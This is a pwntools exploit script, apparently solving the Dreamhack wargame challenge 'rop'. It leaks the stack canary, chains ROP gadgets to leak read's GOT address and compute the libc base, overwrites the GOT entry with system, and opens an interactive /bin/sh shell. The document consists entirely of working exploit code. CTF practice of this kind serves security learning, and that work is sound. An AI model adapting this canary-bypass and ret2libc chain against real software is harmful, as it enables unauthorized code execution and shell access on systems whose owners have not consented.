1 from pwn import *
  2 p = process('./rop')
  3 #p = remote('host3.dreamhack.games', 14477)
  4 context.arch = 'amd64'
  5
  6 libc = ELF("./libc.so.6")
  7 e = ELF('./rop')
  8
  9 #data of table info
 10 read_system = libc.symbols["read"] - libc.symbols["system"] # system function offset
 11 read_got = e.got['read']
 12 puts_plt = e.plt['puts']
 13 read_plt = e.plt['read']
 14 write_plt = e.plt['write']
 15
 16 ret = 0x0000000000400596 # ret
 17 pop_rsi = 0x0000000000400851 # pop rsi; pop r15; ret
 18 pop_rdi = 0x0000000000400853 # pop rdi; ret
 19
 20 #canary leak
 21 payload = b'A' * 0x39
 22 p.sendafter(b'Buf: ', payload)
 23 p.recvuntil(payload)
 24 canary = p.recvn(7)
 25 canary = u64(b'\x00' + canary)
 26 print(canary)
 27
 28 payload = b'A'*0x38 + p64(canary) + b'B'*0x08 # pay of canary
 29
 30 payload += p64(pop_rdi)
 31 payload += p64(read_got)
 32 payload += p64(puts_plt) #print read GOT
 33
 34 payload += p64(pop_rdi)
 35 payload += p64(0x00)
 36 payload += p64(pop_rsi)
 37 payload += p64(read_got)
 38 payload += p64(0x00)
 39 payload += p64(read_plt) #std input = read_got -> last p.send's input
 40
 41 payload += p64(pop_rdi)
 42 payload += p64(read_got + 0x08)
 43 payload += p64(ret)
 44 payload += p64(read_plt) # system(/bin/sh)
 45
 46 p.sendafter(b'Buf: ', payload)
 47
 48 read = u64(p.recvn(6) + b'\x00' * 0x02)
 49 libc_base = read - libc.symbols['read']
 50 system = libc_base + libc.symbols['system']
 51
 52 print(b'read', read)
 53 print(b'base', libc_base)
 54 print(b'system', system)
 55
 56 p.send(p64(system) + b'/bin/sh\x00') # standard input
 57 p.interactive()